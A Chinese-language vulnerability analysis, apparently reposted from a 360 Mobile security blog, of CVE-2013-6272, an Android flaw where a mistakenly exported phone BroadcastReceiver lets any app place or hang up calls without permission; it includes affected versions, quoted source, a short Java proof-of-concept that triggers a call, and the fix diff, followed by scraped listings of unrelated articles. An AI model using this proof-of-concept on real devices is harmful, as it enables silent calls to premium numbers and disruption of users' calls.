Android电话拨打权限绕过漏洞(CVE-2013-6272)分析
原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/
1. CVE-2013-6272漏洞背景
CVE-2013-6272是一个安卓平台电话拨打权限绕过漏洞。该漏洞实际上是柏林的安全研究机构curesec在2013年底发现并秘密报告给google的,而并不是是某国内团队发现的。
Curesec同一时候也是安卓锁屏绕过漏洞(CVE-2013-6271)的发现者。Curesec于2014年7月4日公开了一个拨打电话相关的漏洞[1],我们对这个漏洞进行了分析。
这个漏洞在android 4.1.1版本号中被引入。在4.4.3版本号中被修复,手机系统版本号仍停留在4.1.1~4.4.2的机型都收到了影响。
2. Android受影响版本号
依据已经公开的信息和我们对于AOSP changelog的分析,该漏洞影响分布情况例如以下:
|
Android版本号 |
SDK 版本号 |
是否受影响 |
|
4.1.1 |
16 |
是 |
|
4.1.2 |
16 |
是 |
|
4.2.2 |
17 |
是 |
|
4.4.2 |
19 |
是 |
|
4.4.3或更高 |
19 |
否 |
3. 漏洞的危害
没有申明call_phone权限的应用无需交互能够拨打随意电话。随意应用能够挂断当前正在进行的通话。
而用户对此毫不知情。
4.漏洞原理
此漏洞主要是由于一个误导出的BroadCastReceiver:com.android.phone.PhoneGlobals$NotificationBroadcastReceiver
让我们看下NotificationBroadcastReceiver的源代码[3]
public static class NotificationBroadcastReceiver extends BroadcastReceiver { |
@Override |
public void onReceive(Context context, Intent intent) { |
String action = intent.getAction(); |
// TODO: use "if (VDBG)" here. |
Log.d(LOG_TAG, "Broadcast from Notification: " + action); |
if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) { |
PhoneUtils.hangup(PhoneGlobals.getInstance().mCM); |
} else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) { |
// Collapse the expanded notification and the notification item itself. |
closeSystemDialogs(context); |
clearMissedCallNotification(context); |
Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData()); |
callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
| Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); |
context.startActivity(callIntent); |
} else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) { |
// Collapse the expanded notification and the notification item itself. |
closeSystemDialogs(context); |
clearMissedCallNotification(context); |
Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData()); |
smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); |
context.startActivity(smsIntent); |
这个reveiver处理3种类型的intent,由于NotificationBroadcastReceiver是导出的而且没有做不论什么的权限限制,随意应用都能够发intent来调用这个BroadcastReceiver.
这3类intent的危害
| Intent | 危害 |
| ACTION_HANG_UP_ONGOING_CALL | 挂断当前的通话 |
| ACTION_CALL_BACK_FROM_NOTIFICATION | 拨打随意电话 |
| ACTION_SEND_SMS_FROM_NOTIFICATION | 发送短信,但须要用户交互。没太大危害 |
利用此漏洞拨打电话的代码
public void onClick(View view) { |
Toast t = Toast.makeText(getBaseContext(), |
"Testing call without permissions now!", |
Toast.LENGTH_LONG); |
t.show(); |
Intent intent = new Intent(); |
intent.setComponent(new ComponentName( |
"com.android.phone", |
"com.android.phone.PhoneGlobals$NotificationBroadcastReceiver")); |
intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION"); |
intent.setData(Uri.parse("tel:31337")); |
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); |
getBaseContext().sendBroadcast(intent); |
} |
5. 产生漏洞的主要原因
产生此漏洞的原因非常有趣,由于android开发者的疏忽,本来限制
BroadcastReceiver导出应该在其标签中加上属性android:exported=”false”,但开发者漏掉了”android:”。写成了exported=”false”,这种属性是不起作用的,而包括有intent filters的BroadcastReceiver默认是导出的,从而导致这个BroadcastReceiver被误导出。
6.漏洞修复
此漏洞的修复非常easy,其diff[3]例如以下:
<!-- BroadcastReceiver for receiving Intents from Notification mechanism. --> |
- <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" exported="false"> |
+ <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" android:exported="false"> |
<intent-filter> |
<action android:name="com.android.phone.ACTION_HANG_UP_ONGOING_CALL" /> |
<action android:name="com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" / |
眼下我们尚未捕获到利用此漏洞拨打电话的恶意样本。可是该漏洞的原理及利用代码已经开源。所以有可能在未来被恶意利用。我们将会持续关注此漏洞并提供可能的解决方式。
參考:
[1]https://android.googlesource.com/platform/packages/services/Telephony/+/79fc3b3%5E%21/
[2]http://blog.curesec.com/article/blog/35.html
[3]http://androidxref.com/4.4_r1/xref/packages/services/Telephony/src/com/android/phone/PhoneGlobals.java#1128
Android电话拨打权限绕过漏洞(CVE-2013-6272)分析的更多相关文章
- Python 实现 Discuz论坛附件下载权限绕过漏洞
背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...
- linux sudo root 权限绕过漏洞(CVE-2019-14287)
0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大 需要以下几个前提条件 1.知道当前普通用户的密 ...
- Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现
couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...
- CVE-2017-12635(Couchdb垂直权限绕过漏洞)
简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...
- broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)
原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html Lolipop源代码已经放出有些日 ...
- PJzhang:CVE-2019-14287 sudo权限绕过漏洞复现
猫宁!!! 参考链接:Ms08067实验室公众号 sudo 1.8.28版本之前有漏洞. 更新完kali linux,deepin截图工具失效,只能用自带的,不能划重点. 看一下sudo版本,1.8. ...
- SaltStack 水平权限绕过漏洞(CVE-2020-11651)
影响版本 SaltStack < 2019.2.4 SaltStack < 3000.2 poc git clone https://github.com/jasperla/CVE-202 ...
- Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
影响版本:小于 1.7.0 以及 小于 2.1.1 首先,发送如下数据包: 修改数据包 { "type": "user", "name": ...
- Linux sudo权限绕过(CVE-2019-14287)
2019年10月14日,Sudo官方发布了Sudo 1.8.28版本,其中包含sudo root权限绕过漏洞的补丁修复. 此漏洞编号是CVE-2019-14287,当sudo配置为允许用户以任意方式运 ...
随机推荐
- POJ 1469 COURSES 二分图最大匹配 二分图
http://poj.org/problem?id=1469 这道题我绝壁写过但是以前没有mark过二分图最大匹配的代码mark一下. 匈牙利 O(mn) #include<cstdio> ...
- 【BFS】【最小生成树】Petrozavodsk Winter Training Camp 2018 Day 1: Jagiellonian U Contest, Tuesday, January 30, 2018 Problem G. We Need More Managers!
题意:给你n个点,点带权,任意两点之间的边权是它们的点权的异或值中“1”的个数,问你该图的最小生成树. 看似是个完全图,实际上有很多边是废的.类似……卡诺图的思想?从读入的点出发BFS,每次只到改变它 ...
- 用C读取系统明文(附源码)
从一好朋友那得到一个好东西 可以读取系统明文 请用vc++ 6.0编译 #include <windows.h> #include <stdio.h> // // Vsbat[ ...
- [COGS2639]偏序++
[COGS2639]偏序++ 题目大意: \(n(n\le40000)\)个\(k(k\le7)\)元组,求\(k\)维偏序. 思路: 分块后用bitset维护. 时间复杂度\(\mathcal O( ...
- phalcon Model 'partitions' could not be loaded(模型不支持分区语句)
注意: 很明确提示用phalcon自带的模型层是不能用partition这个关键字的 解决方法: 自己写个PDO类 然后用pdo中的query方法执行语句成功: mysql分区目的 是减少数据库的负担 ...
- SGU 403 Scientific Problem
403. Scientific Problem Time limit per test: 0.25 second(s)Memory limit: 65536 kilobytes input: stan ...
- ZOJ 3235 Prototype
Prototype Time Limit: 1 Second Memory Limit: 32768 KB Prototype is a 3D game which allow you to ...
- mysql+mycat分片环境部署
说明: 1.操作系统:64位CentOS Linux release 7.2.1511 (Core) 2.jdk版本:1.8.0_121 3.mysql版本: 5.7.17 4.两台mysql服务器: ...
- 【转】Spring中事务与aop的先后顺序问题
[原文链接] http://my.oschina.net/HuifengWang/blog/304188 [正文] Spring中的事务是通过aop来实现的,当我们自己写aop拦截的时候,会遇到跟sp ...
- Git_期末总结
终于到了期末总结的时刻了! 经过几天的学习,相信你对Git已经初步掌握.一开始,可能觉得Git上手比较困难,尤其是已经熟悉SVN的童鞋,没关系,多操练几次,就会越用越顺手. Git虽然极其强大,命令繁 ...